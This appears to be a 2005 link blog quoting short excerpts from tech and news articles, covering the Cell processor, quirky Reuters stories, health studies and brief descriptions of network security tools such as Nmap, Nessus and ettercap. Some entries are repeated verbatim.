Wired News: What Exactly Is Under the Sea?: "The nuclear-powered submarine USS San Francisco was heading toward Australia on Jan. 8 when it hit an underwater mountain not marked on naval charts. The impact brought the sub to an almost instantaneous stop, killing one crew member and seriously injuring 23 others.
The accident raises the question of why a state-of-the-art vessel in the world's most powerful military was effectively operating blind. The inner hull of the submarine was not breached, but one death resulted. Why, with sonar and satellite scanning, is so little known about the topography of the seabed?"
Tuesday, February 08, 2005
TrustedReviews
TrustedReviews: "The EFN-300 is one of two passively cooled PSUs on test, the other one being from SilverStone. Up to now, most if not all PC power supplies have had some type of a fan, due to the heat produced when the electricity is converted from AC to DC. However, with noise levels of PCs on a steep increase the popularity of silent components has not gone unnoticed by the PSU manufacturers and the EFN-300 is proof of how well this can be done. The EFN-300 is quite heavy compared to other PSUs, which could be a concern in aluminium cases unless the case has a PSU cage that holds it in place.
It will also get quite hot over time due to the fanless approach, but even at 100 per cent load it never got hotter than 32 degrees Celsius, which is no cause for concern. As there are no fans that will indicate if the EFN-300 is switched on Etasis has fitted two LEDs at the back, one labelled TEMP and one PWR. The PWR LED indicates if the PSU is switched, in standby, or off. The TEMP LED is green unless the temperature of the PSU exceeds 55 degrees Celsius at which stage it changes to red. This is as a precaution so that you won�t burn yourself on the PSU in case it gets very hot.
As there is no fan in the EFN-300 there is no noise whatsoever. There�s a possibility that some of the components could generate some clicking during the power conversion, but this was not apparent during testing. In terms of connectors you get six Molex , two floppy and two SATA plugs as well as a 20-pin ATX connector and a 12V AUX connector. Only the ATX cable is braided, which means you won�t have the tidiest cabling inside your case, but as no cable has more than three connectors it shouldn�t cause too much of a mess."
The developerWorks Power Architecture challenge: Cooling down hot processors
The developerWorks Power Architecture challenge: Cooling down hot processors: "Face it: the only scorching hot thing you want with a chip is salsa. Any other overheating is potentially counterproductive, and can be downright damaging to the microprocessor -- or other components. In this Power Architecture challenge, developers warm up to the idea of how to cool down the hotter processors. From the weird to the wonderful, readers uncover potential ways to chill the chips.
Somewhere, deep inside your computer is the tiny slab of silicon that makes it go. That slab in turn is built out of millions -- perhaps hundreds of millions -- of transistors. Every time one of those transistors changes state, it leaks a tiny amount of electricity; in turn, that electricity produces heat. And that heat, accumulated over millions of transistors changing state thousands of times per second, may potentially threaten your fertility (see Resources).
Dr. Claes-Goran Ostenson saw this first hand when he concluded that one of his patients had been using a laptop in the way that its name implied, became engrossed in his work, and didn't notice the burning sensation in his lap, and thus became the first victim of what has come to be known as 'lapburn.' Ostenson felt the incident warranted exposure in the world of medical science, so he wrote a letter to the Lancet in 2002.
It stirred a mild amount of controversy, with commentors coming down on predictable sides. Laptop manufacturers were skeptical, while spokespersons for companies that produce chip-cooling paraphenalia looked serious and nodded sagely, implying that your lap could be next. Worries about 'lapburn' spawned a whole industry of fan-based gadgets that plugged into the bottom of laptops, sometimes rendering the laptops' portability features pointless in the process."
The developerWorks Power Architecture challenge: Cooling down hot processors
The developerWorks Power Architecture challenge: Cooling down hot processors: "Face it: the only scorching hot thing you want with a chip is salsa. Any other overheating is potentially counterproductive, and can be downright damaging to the microprocessor -- or other components. In this Power Architecture challenge, developers warm up to the idea of how to cool down the hotter processors. From the weird to the wonderful, readers uncover potential ways to chill the chips.
Somewhere, deep inside your computer is the tiny slab of silicon that makes it go. That slab in turn is built out of millions -- perhaps hundreds of millions -- of transistors. Every time one of those transistors changes state, it leaks a tiny amount of electricity; in turn, that electricity produces heat. And that heat, accumulated over millions of transistors changing state thousands of times per second, may potentially threaten your fertility (see Resources).
Dr. Claes-Goran Ostenson saw this first hand when he concluded that one of his patients had been using a laptop in the way that its name implied, became engrossed in his work, and didn't notice the burning sensation in his lap, and thus became the first victim of what has come to be known as 'lapburn.' Ostenson felt the incident warranted exposure in the world of medical science, so he wrote a letter to the Lancet in 2002.
It stirred a mild amount of controversy, with commentors coming down on predictable sides. Laptop manufacturers were skeptical, while spokespersons for companies that produce chip-cooling paraphenalia looked serious and nodded sagely, implying that your lap could be next. Worries about 'lapburn' spawned a whole industry of fan-based gadgets that plugged into the bottom of laptops, sometimes rendering the laptops' portability features pointless in the process."
Wright This Way: iPod Shuffle RAID
Wright This Way: iPod Shuffle RAID: "So, what do you do when you and some friends are all getting iPod Shuffles? You make a RAID array out of them, of course! Follow along as we explore new depths of geekery...
Special thanks to Justin, Melissa, and Shanea for the use of their iPod Shuffles. ;)
So, here we have our iPod Shuffles, all the top of the line 1Gb models. I'm sure that normal folks would probably take these home, install iTunes 4.7.1 from the CD in the box, and happily start putting music on the little things, but I had other plans for them..."
The cranky user: Performance anxiety
The cranky user: Performance anxiety: " Computers are getting faster all the time, or so they tell us. But, in fact, the user experience of performance hasn't improved much over the past 15 years. Peter looks at where all the processor time and memory are going.
About 10 years ago I remember people complaining that Microsoft Word was too slow on the Mac. You could type faster than the processor handled input on such a large application. Imagine my disappointment when I recently discovered that the same thing still holds true. Similarly, my first computer with a hard drive loaded a small command-line utility in under a second and a large graphics program in perhaps half a minute. Those are good specs, but isn't it kind of sad that they haven't changed much in the past 15 years?
So the question is, where is all the CPU power going? How is it possible that a machine with a full gigabyte of memory can run out of room to run applications just as quickly as a machine with six megabytes of memory did 15 years ago? In this month's The cranky user, I'll get to the bottom of this big mystery. But first, I want to revisit an old adage and see where it stands today."
Monday, February 07, 2005
Ars Technica: The Future of x86 and the Concept of the Instruction Set Architecture - Page 1 - (6/2000)
Ars Technica: The Future of x86 and the Concept of the Instruction Set Architecture - Page 1 - (6/2000): "A few days ago, I got the following email from reader Dale Conrad, asking me a question that gets asked often.
First question (observation) is that it seems to me that x86 is going to hit it's limit soon, is this true? Also, this is going to most likely take a huge answer, and it's a two-parter, ooh fun ;), how much farther can x86 be stretched, and in YOUR OPINION what would type of architecture could take it's place to keep up with the rapidly growing performance requirements placed upon CPU's?
The idea that the x86 as an Instruction Set Architecture (ISA) is about to hit some sort of performance limit is one that gets bandied about often. To listen to analysts and commentators, x86 should have reached its limit about five years ago. But then came the P6 core, and Intel has since been able to scale the aging core (in one form or another) and with it the x86 ISA up to amazingly high clock speeds and performance levels. And now with Willamette, Intel looks poised to wring another round of performance increases out of an ISA that by all accounts should have been dead quite a while back. Still though, the x86 ISA is old and riddled with notorious problems, so it's naturally gotta roll over and die at some point, right? And when it does, something'll take its place, so what will that something be?
Instead of answering the above questions in this article, I'm going to do a magic trick and make them disappear. If you step back and take a look at the trends embodied by certain recent developments in processor technology and the way companies are exploiting those developments, you'll understand that asking about the performance obsolescence and eventual replacement of the x86 ISA amounts to asking the wrong type of question. Furthermore, you'll see that the aforementioned trends, which I'm going to describe here, involve a redefinition of what an Instruction Set Architecture is, a redefinition that causes the above questions to simply cease to exist as meaningful ways to think about the future of processor technology."
Cell "analysis" a mixed bag
Cell "analysis" a mixed bag: "Last week, OS News published an analysis of IBM's Cell-related patents. This article presents some of the information in the patents in an easily digestible format, but it has some serious flaws, as well. And I'm not talking about Cell-specific flaws, though there are those, but what appear to be problems with the author's understanding of basic computer architecture.
For instance, the author, Nicholas Blachford, starts off with a fantastic and completely made-up benchmark estimate for how fast Cell will complete a SETI@Home work unit (i.e. 5 mins). In the footnotes, we find that this number is extrapolated from the SETI numbers for a 1.33GHz G4. The extrapolation is done using a combination of real (for the G4 )and hypothetical (for the Cell) FLOPS ratings, which are not only fairly meaningless as a cross-platform performance metric but also take no account of the kinds of platform-specific optimizations that are all-important for SETI performance. So this is pretty much hogwash."
Guardian Unlimited | Special reports | Global warming the key to life on Mars
Guardian Unlimited | Special reports | Global warming the key to life on Mars: " Global warming the key to life on Mars
Tim Radford, science editor
Monday February 7, 2005
The Guardian
US scientists have thought up a new way to create a second home - by warming up the atmosphere of Mars.
Mars - which used to be warm and wet - has an atmosphere rich in carbon dioxide. But because the red planet's atmosphere is so thin, the planet is now freezing cold."
IBM, Sony, Toshiba present Cell
IBM, Sony, Toshiba present Cell: "At the International Solid State Circuits Conference (ISSCC) today, the Cell processor developed jointly by IBM, Sony and Toshiba was unveiled.
The multi-core processor claims supercomputer-like levels of performance with clock speeds in excess of 4GHz.
A first prototype of the device expected to power the Playstation 3 has a 221mm� die, uses 234 million transistors and is made using 90nm process technology.
The version of Cell announced today contains eight 64-bit floating point processors, referred to as synergistic processor elements (SPEs). Along side these is a 64-bit Power processor capable of running two threads.
SPEs take 128-bit operands, split into four 32-bit words. Up to 128 operands can be stored in the register file."
Yahoo! News - Woman Demoted for Iraq Mud-Wrestling Party
Yahoo! News - Woman Demoted for Iraq Mud-Wrestling Party: "RALEIGH, N.C. - Military officials have demoted a female member of a National Guard military police unit for indecent exposure after a mud-wrestling party at the Camp Bucca detention center in Iraq (news - web sites)."
Yahoo! News - Police: Suspect Left Teeth at Crime Scene
Yahoo! News - Police: Suspect Left Teeth at Crime Scene
Yahoo! News - Gay rebels marry in Philippines
Yahoo! News - Gay rebels marry in Philippines: "MANILA (Reuters) - Two communist rebels in the Philippines truly became brothers in arms when the men were married in a jungle camp, a newspaper has reported.
Draped in a red flag with hammer and sickle in gold sequins, they exchanged vows, walked under an archway of assault rifles and were serenaded with revolutionary love songs by a choir of New People's Army comrades.
Ka Andres and Ka Jose, who both use the word for 'brother' before their names, each held a bullet during the ceremony on the southern island of Mindanao to show their 'commitment to the armed struggle', the Philippine Daily Inquirer said.
'What we have to do now -- with the help of the party -- is to work on our marriage and to be strong while serving the people,' said Jose, who at 21 is 33 years younger than Andres.
Homosexuality is a largely taboo topic in the Philippines, with stereotypes of flamboyantly effeminate men reinforced in the media.
The communist movement -- waging a violent insurgency in poor, rural areas since the late 1960s -- has been more progressive, adding same-sex relationships and marriage to its guiding policy in 1998.
Still, Jose and Andres said they ran into the 'patriarchal' culture of the Philippines when they decided to marry.
'We conducted painstaking discussions to make comrades understand gay relations and gay rights,' Andres said."
Yahoo! News - British Pubs May Stay Open 24 Hours a Day
Yahoo! News - British Pubs May Stay Open 24 Hours a Day: "LONDON - Pubs, clubs and other drinking venues in England and Wales can apply to stay open 24 hours a day under new laws that come into effect Monday."
Yahoo! News - 4-Year-Old Mich. Boy Drives Mother's Car
Yahoo! News - 4-Year-Old Mich. Boy Drives Mother's Car
Yahoo! News - Worms on a Hook Don't Suffer?
Yahoo! News - Worms on a Hook Don't Suffer?: "OSLO (Reuters) - Worms squirming on a fishhook feel no pain -- nor do lobsters and crabs cooked in boiling water, a scientific study funded by the Norwegian government has found."
Yahoo! News - U.S. Guards Threw Mudwrestling Party Prison Camp?
Yahoo! News - U.S. Guards Threw Mudwrestling Party Prison Camp?: "BAGHDAD (Reuters) - U.S. military police threw a mudwrestling party at a prison camp in Iraq (news - web sites) and a woman who took part has been found guilty of indecent exposure and demoted, the U.S. military said Monday.
At least three female guards stripped to their underwear and wrestled each other in a paddling pool full of mud in the grounds of Camp Bucca, the biggest U.S. camp for detainees in Iraq, Lt. Col. Barry Johnson said.
Several guards who watched the wrestling have been reprimanded for failing to intervene.
The party took place on Oct. 30 last year, when one U.S. military police battalion, the 160th, was about to hand over responsibility to another, the 105th.
Officers from both battalions were involved and photographs were taken. A prison guard found the photos sometime later and handed them over to the camp's commanders.
'It does not appear that alcohol was involved and there is no evidence to support suggestions of any type of sexual misconduct,' Johnson told Reuters.
'Detainees were nowhere in the vicinity and they had no possible way of seeing what occurred.'
He said the incident was being investigated further and did not rule out further punishment. He declined to name the demoted soldier."
Yahoo! News - Red Faces Over Fire Crew's Emergency Pizza Run
Yahoo! News - Red Faces Over Fire Crew's Emergency Pizza Run: "SYDNEY (Reuters) - Embarrassed emergency officials are investigating reports a Sydney fire station was unable to respond to an alarm because a fireman had taken the station's only fire truck to pick up a pizza and give some friends a joyride.
Fire officials said Monday there had been no risk to the public even though the fire station in the beachside suburb of Maroubra had been unable to respond to a call three weeks ago because the truck was missing.
But they confirmed they were investigating media reports that the fireman on duty had gone to pick up a pizza and then took some friends for a spin in his shiny red truck.
'This is extremely rare,' said New South Wales Fire Brigade assistant commissioner John Benson. 'I would say that this incident is unheard of in the New South Wales Fire Brigade in regards to utilizing fire appliances in an inappropriate manner and ... it's being thoroughly investigated,' he told Australian Broadcasting Corp. radio.
A fire engine from a neighboring station had already responded to the emergency call, described as a fire door alarm, before the Maroubra truck's absence was noted, Benson said."
Yahoo! News - Brushing 3 Times a Day Keeps Flab Away?
Yahoo! News - Brushing 3 Times a Day Keeps Flab Away?: "TOKYO (Reuters) - If you want to keep trim, forget the diet books and gym membership -- you may be better off just brushing your teeth more often, according to a Japanese study."
Yahoo! News - Notable Quotes
Yahoo! News - Notable Quotes: "
'It's not fair to the artists, it's not fair to music, and it's wrong to sell music just as a vehicle to mainly showcase other programming. It's time for a change, and all of us have got to have our voices heard.'
-- veteran music industry executive CLIVE DAVIS, on the dearth of music videos played at MTV, in Billboard."
Yahoo! News - Wanna Ride in My Mercedes with Genuine Cloth Seats?
Yahoo! News - Wanna Ride in My Mercedes with Genuine Cloth Seats?: "BERLIN (Reuters) - Mercedes-Benz has agreed to offer 'leather-free' versions of all its luxury cars to pacify an animal rights group that says thousands of cows are slaughtered each year for leather car seats and interiors.
After complaints from the German chapter of People for the Ethical Treatment of Animals, DaimlerChrysler said its Mercedes subsidiary will offer fabric or synthetic leather as options. Daimler spokeswoman Ursula Mertzig-Stein said that far from wanting leather-free cars, 'our customers ... are more likely to want even more leather at the premium end. But we'll make cars without leather on demand.'
PETA officials, who had threatened protests at the carmaker's Stuttgart headquarters, said they were delighted.
'When you consider that the skins of four to 15 cows are needed for each car this means thousands of cows will be spared,' said PETA researcher Edmund Haferbeck. 'This is a huge victory for animal rights.'"
Yahoo! News - Man Fined $600 for Hurling Egg McMuffin
Yahoo! News - Man Fined $600 for Hurling Egg McMuffin: "HOLLAND, Mich. - A man was fined $600 and put on probation for throwing an Egg McMuffin at a McDonald's restaurant manager after he said he didn't get what he ordered.
Scott Rodgers, 46, was convicted Thursday of misdemeanor assault and battery. Besides probation, he was sentenced to three days in a work program and a fine and is banned from the McDonald's.
Authorities said Rodgers and his 6-year-old son stopped to get four Egg McMuffins with ham on Oct. 9 but returned to the service window to complain that at least one of the sandwiches had sausage.
County prosecutor Craig Bunce said that when the shift manager asked him to give the sandwich back, he threw it through the window at her.
'The manager was picking egg out of her hair,' he said.
Rodgers' attorney said he did not throw the sandwich, but rather returned it quickly."
Yahoo! News - Man Duct-Tapes Nearly $55,000 to His Body
Yahoo! News - Man Duct-Tapes Nearly $55,000 to His Body
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "WASHINGTON (Reuters) - The U.S. military on Saturday launched a five-day war game to see how space-based assets such as satellite communications and precision bomb guidance systems would fare in a hypothetical war against terrorism in 2020.
'This is not warfare in space. Our focus is how to best use our space-based assets to coordinate the joint terrestrial fight,' said Brig. Gen. Daniel Darnell, commander of the Space Warfare Center at Schriever Air Force Base in Colorado.
Over the past decade, the U.S. military has come to rely to a huge extent on satellites to relay communications, transmit high-resolution imagery; track U.S. forces; spot enemy missiles and guide precision munitions to their targets."
Yahoo! News - Nantucket Confronting Tick Problem
Yahoo! News - Nantucket Confronting Tick Problem: "NANTUCKET, Mass. - Ask Brian Chadwick how plentiful deer are on this island that has become an ocean retreat for the rich and famous and he will tell you about the dark night he was patrolling the summer estates and hit three."
Yahoo! News - Rumsfeld: Reporters Not Told What to Write
Yahoo! News - Rumsfeld: Reporters Not Told What to Write: "WASHINGTON - Journalists were not told what to write when they were assigned articles about Europe for Pentagon (news - web sites)-run Web sites, Defense Secretary Donald H. Rumsfeld said Sunday. The practice is now under review by the military's chief investigator."
Yahoo! News - Chinese govt ban on gift giving during New Year ridiculed on Internet
Yahoo! News - Chinese govt ban on gift giving during New Year ridiculed on Internet: "BEIJING (AFP) - A government agency's ban on visitors bearing Lunar New Year gifts from entering its building to curb corruption has stirred ridicule from the public."
Yahoo! News - U2 Offers Refunds for Online Ticket Snafu
Yahoo! News - U2 Offers Refunds for Online Ticket Snafu: "U2 drummer Larry Mullen is hoping that American fans will forgive them for the snafu in ticket sales.
Mullen has posted an open letter on the band's Web site offering refunds to members of U2's subscription service. Members were supposed to get first crack at tickets for U2's upcoming tour but that did not work as planned.
'The idea that our long-time U2 fans and scalpers competed for U2 tickets through our own Web site is appalling to me,' he writes along with an apology.
Mullen also adds, 'By the way, a note to those so-called U2 fans who are quick to accuse U2 of unseemly behavior, I've only got two words for you.' The letter ends there."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "LONDON (Reuters) - It's been described as outdated, bureaucratic, out of touch and at least one leading fertility expert has called for it to be scrapped.
But Suzi Leather, chair of Britain's Human Fertilisation and Embryology Authority (HFEA), believes the need for fertility watchdogs may never have been greater.
With a 66-year-old woman making headlines as the world's oldest mother and a maverick scientist promising to clone babies, the ethical issues surrounding fertility are explosive.
'The question is no longer 'should there be regulation in this area?' Of course there should be, particularly because of the unique moral status of the embryo but also because patients themselves are very vulnerable,' she told Reuters."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "NEW DELHI (Reuters) - India, home to the world's second-largest HIV population after South Africa, began its first ever human trials of a new vaccine against the deadly virus Monday, the health minister said.
A vaccine -- the best hope for the developing world where drugs remain out of reach for millions -- is considered the Holy Grail in the battle against the AIDS epidemic, but efforts to find one have been hampered by HIV's uncanny ability to mutate.
Human trials of vaccines against different strains of the virus are already being conducted in the United States, Europe, Africa and South America.
'We've started the first phase of clinical trials, but 85 percent of our focus is still going to be on prevention,' Anbumani Ramadoss told a news conference.
'Developing a vaccine to prevent AIDS is one of the most difficult scientific challenges of our time. It is also one of the most urgent health needs.'
"
Yahoo! News - UN Says Mad Cow Tests Working, Despite Outbreaks
Yahoo! News - UN Says Mad Cow Tests Working, Despite Outbreaks: "ROME (Reuters) - Testing for mad cow disease is working in catching cases of the lethal brain-wasting disorder, the United Nations (news - web sites) said on Monday, in the wake of several new discoveries of BSE (news - web sites)-related cases."
Yahoo! News - Electric Light-Breast Cancer Link Studied
Yahoo! News - Electric Light-Breast Cancer Link Studied: "HARTFORD, Conn. - College researchers are studying whether electric light changes hormone levels in women and makes breast cancer more prevalent in developed countries."
Yahoo! News - Birth Size Linked to Some Adult Cancers
Yahoo! News - Birth Size Linked to Some Adult Cancers: "NEW YORK (Reuters Health) - Bigger babies seem to have a greater risk of developing certain cancers as adults, a new study finds."
Yahoo! News - 'Taste' Gene May Explain Some of Kids' Food Choices
Yahoo! News - 'Taste' Gene May Explain Some of Kids' Food Choices: "NEW YORK (Reuters Health) - Genetic variations in the sensitivity of taste buds to bitter flavors may help explain why some kids are vehemently opposed to vegetables, a study out Monday suggests."
Yahoo! News - Sunlight May Have Unexpected Anti-Cancer Effects
Yahoo! News - Sunlight May Have Unexpected Anti-Cancer Effects: "NEW YORK (Reuters Health) - Two new studies suggest that exposure to sunlight might not be as risky for cancer as is generally believed."
Wired News: Photographer Seeks Resolution
Wired News: Photographer Seeks Resolution: "Flint is very careful about choosing the right spot and time of day for a shoot. He often follows storm fronts, shooting right after a downpour when particulates have been washed out of the air. He tries to get off the ground as much as he can, to minimize heat distortion.
Flint developed his own wheel-mounted tripod to lug the camera around, and fitted his van with a shooting platform made from sliding safety doors used in nuclear reactors."
Wired News: Photographer Seeks Resolution
Wired News: Photographer Seeks Resolution: "Physicist Graham Flint is working on an ultra-high-resolution portrait of America -- a series of gigantic, gigapixel images taken with a custom camera made from bits and pieces of decommissioned Cold War hardware.
Armed with a self-designed camera he crafted from parts of spy planes and nuclear reactors, Flint is crisscrossing America, taking thousands of pictures of cities, monuments and national parks."
Latest Business News and Financial Information | Reuters.co.uk
Latest Business News and Financial Information | Reuters.co.uk: "LONDON (Reuters) - EMI (EMI.L: Quote, Profile, Research) has warned of lower than expected music sales and profits, blaming delays in the release of key albums from top bands Coldplay and Gorillaz, sending its shares plunging 16 percent.
The world's third-largest music group, whose artists also include Radiohead and Norah Jones, said on Monday it expected music sales to be down 8 to 9 percent in the year to March 31. EMI had previously said that full-year music sales would be flat to down four percent, roughly in line with the overall music market."
Latest Business News and Financial Information | Reuters.co.uk
Latest Business News and Financial Information | Reuters.co.uk: "LONDON (Reuters) - Almost half of Britons believe the country's top retailer, Tesco, is becoming too dominant on the high street, a survey suggests.
Tesco, which is expanding strongly into nonfood ranges like clothing and media as growth in its traditional core market stagnates, was seen as 'too big and powerful' by 48 percent of respondents in a survey conducted for Retail Week magazine and published on Monday.
The company is expected to post sales of 34.2 billion pounds for the current year and profits of over 2 billion pounds. Some experts believe it will overtake France's Carrefour within a few years to become the world's number two retailer after the mighty Wal-Mart."
Latest Business News and Financial Information | Reuters.co.uk
Latest Business News and Financial Information | Reuters.co.uk: "LONDON (Reuters) - The Lloyd's of London insurance market has criticised the Financial Services Authority for failing to require brokers to disclose their commissions and called on the regulator to alter its stance.
'The FSA should change, and change now, their Conduct of Business regime from the current approach of 'disclosure on request' to mandatory disclosure,' Chief Executive Nick Prettejohn said in a lecture at the market on Monday.
'The FSA should not bide their time and 'wait and see'. They should seize the moment,' he said, adding that increasing transparency would improve the reputation of what has traditionally been considered an opaque industry."
Latest Business News and Financial Information | Reuters.co.uk
Latest Business News and Financial Information | Reuters.co.uk: "LONDON (Reuters) - The government says it has asked the Office of Fair Trading to investigate the proposed purchase of parts of BAE Systems by Italy's Finmeccanica.
The Department of Trade and Industry said on Monday it was not uncommon for the authorities to examine the effects of defence mergers on the grounds of national security."
Free Open-Source vs. Commercial Security Tools?
Free Open-Source vs. Commercial Security Tools?: "Security Person's Tool Box (Score:1)
by KingBahamut (615285) on Monday February 07, @02:26PM (#11599490)
At least my tool box, Tcpdump, Tcpflow, ettercap, iptraf, arping. You should pretty much be able to determine most problems through those. A good friend once told me a true network security specialist can become a network Gunslinger through the use of just tcpdump, tcpflow, arping, and iptraf. (Rich at securiant dot com). IMHO Tcpdump is the jewel of all of those, and if your a real commandline Commando, dont need much else. "
Free Open-Source vs. Commercial Security Tools?
Free Open-Source vs. Commercial Security Tools?: "Wow OSS everywhere (Score:2)
by Fr05t (69968) on Monday February 07, @02:14PM (#11599343)
'I work as a penetration tester and recently started writing a whitepaper on the benefits of free, open-source security tools over commercial tools.'
Excellent the porn industry is on our side, there is no way we can lose now! "
Free Open-Source vs. Commercial Security Tools?
Free Open-Source vs. Commercial Security Tools?: "Wow OSS everywhere (Score:2)
by Fr05t (69968) on Monday February 07, @02:14PM (#11599343)
'I work as a penetration tester and recently started writing a whitepaper on the benefits of free, open-source security tools over commercial tools.'
Excellent the porn industry is on our side, there is no way we can lose now! "
SourceForge.net: Project Info - SING
SourceForge.net: Project Info - SING: "SING stands for 'Send ICMP Nasty Garbage'. It is a tool that sends ICMP packets fully customized from command line. Its main purpose is to replace the ping command but adding certain enhancements (Fragmentation, spoofing,...)"
Ethereal: A Network Protocol Analyzer
Ethereal: A Network Protocol Analyzer: "Ethereal is used by network professionals around the world for troubleshooting, analysis, software and protocol development, and education. It has all of the standard features you would expect in a protocol analyzer, and several features not seen in any other product. Its open source license allows talented experts in the networking community to add enhancements. It runs on all popular computing platforms, including Unix, Linux, and Windows. "
Nmap - Free Security Scanner For Network Exploration & Security Audits.
Nmap - Free Security Scanner For Network Exploration & Security Audits.: "Nmap ('Network Mapper') is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free software, available with full source code under the terms of the GNU GPL. "
Snort.org
Snort.org: "Hello all,
The Snort Team is pleased to announce the availability of Snort v2.3.0 Final! There are only a few minor changes from RC2 to final. The following are the release notes for Final:
Fixed issue with sfPortscan reporting incorrect IP datagram length. Thanks Jon Hart for the test case and finding the bug, and Marc Norton for resolving the issue.
Threshold/Suppression now prints properly when logging to syslog. Thanks Sekure for pointing out the problem. Thanks Steve Sturges for working on the fix.
Threshold memcap argument now correctly handles non-integer input. Thanks nnposter for the patch.
Fixed issue reported by Allan Jensen, where on MacOS X, ppp links were not decoded properly. Thanks Dan Roelker for the fix.
Snort manual and FAQ are updated for 2.3. Thanks Jen Harvey for your work on putting it all together.
Please see the ChangeLog and RELEASE.NOTES for further details.
The Final version can be downloaded from the usual place. RPMs and Win32 binaries will be up shortly.
Also, a big thanks to the community for using and testing out the release candidates. Your support and contributions are appreciated!
Cheers,
The Snort Team "
CVS log for ports/net/ethereal/Attic/Makefile
CVS log for ports/net/ethereal/Attic/Makefile: "Mark it as BROKEN:
Right during 3.5, it had more than
a dozen remote holes being fixed, that we shipped with. Weeks later
things have not improved, and there continue to be problems reported
to bugtraq, and respective band-aids - but it is clear the ethereal
team does not care about security, as new protocols get added, and
nothing gets done about the many more holes that exist.
requested and ok'd by brad@"
Slashdot | Free Open-Source vs. Commercial Security Tools?
Slashdot | Free Open-Source vs. Commercial Security Tools?: "Security Person's Tool Box (Score:1)
by KingBahamut (615285) on Monday February 07, @02:26PM (#11599490)
At least my tool box, Tcpdump, Tcpflow, ettercap, iptraf, arping. You should pretty much be able to determine most problems through those. A good friend once told me a true network security specialist can become a network Gunslinger through the use of just tcpdump, tcpflow, arping, and iptraf. (Rich at securiant dot com). IMHO Tcpdump is the jewel of all of those, and if your a real commandline Commando, dont need much else. "
Slashdot | Free Open-Source vs. Commercial Security Tools?
Slashdot | Free Open-Source vs. Commercial Security Tools?: "Wow OSS everywhere (Score:2)
by Fr05t (69968) on Monday February 07, @02:14PM (#11599343)
'I work as a penetration tester and recently started writing a whitepaper on the benefits of free, open-source security tools over commercial tools.'
Excellent the porn industry is on our side, there is no way we can lose now! "
Nessus
Nessus: "Nessus is the world's most popular open-source vulnerability scanner used in over 75,000 organizations world-wide. Many of the world's largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.
The 'Nessus' Project was started by Renaud Deraison in 1998 to provide to the internet community a free, powerful, up-to-date and easy to use remote security scanner. Nessus is currently rated among the top products of its type throughout the security industry and is endorsed by professional information security organizations such as the SANS Institute. It is estimated that the Nessus scanner is used by 75,000 organizations world-wide.
In 2002, Renaud co-founded Tenable Network Security with Ron Gula, creator of the Dragon Intrusion Detection System and Jack Huffard. Tenable Network Security is the owner, sole developer and licensor for the Nessus Open-Source Scanner source code, the Nessus trademark and the nessus.org domain worldwide. Tenable is privately held and located in Columbia, MD.
Tenable delivers commercial enterprise network security products that perform unique distributed and dedicated vulnerability assessments of computer networks. Tenable offers software products which focus on three areas of security information management:
Vulnerability Discovery and Management
Security Event Management; and
Executive and Technical Communication
For more information on Tenable's products and how they leverage the Nessus' heritage, please go to: http://www.tenablesecurity.com/products/
See a demonstration of Nessus
See the complete list of features of Nessus
See the exhaustive list of the security checks performed by Nessus here
Download Nessus now "
ettercap
ettercap: "Ettercap is a suite for man in the middle attacks on LAN. It features sniffing of live connections, content filtering on the fly and many other interesting tricks.
It supports active and passive dissection of many protocols (even ciphered ones) and includes many feature for network and host analysis. "
Sunday, February 06, 2005
Online banking victim files suit; $90,000 lifted from account traced to Latvia: South Florida Sun-Sentinel
Online banking victim files suit; $90,000 lifted from account traced to Latvia: South Florida Sun-Sentinel: "A Miami businessman is suing Bank of America over $90,000 he says was stolen from his online banking account in a case that highlights the thorny question of who is responsible when a customer's computer is hacked into.
Joe Lopez, 42, said in a complaint filed Thursday in Circuit Court in Miami that Bank of America was negligent and failed to protect him from online banking risks it knew about."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
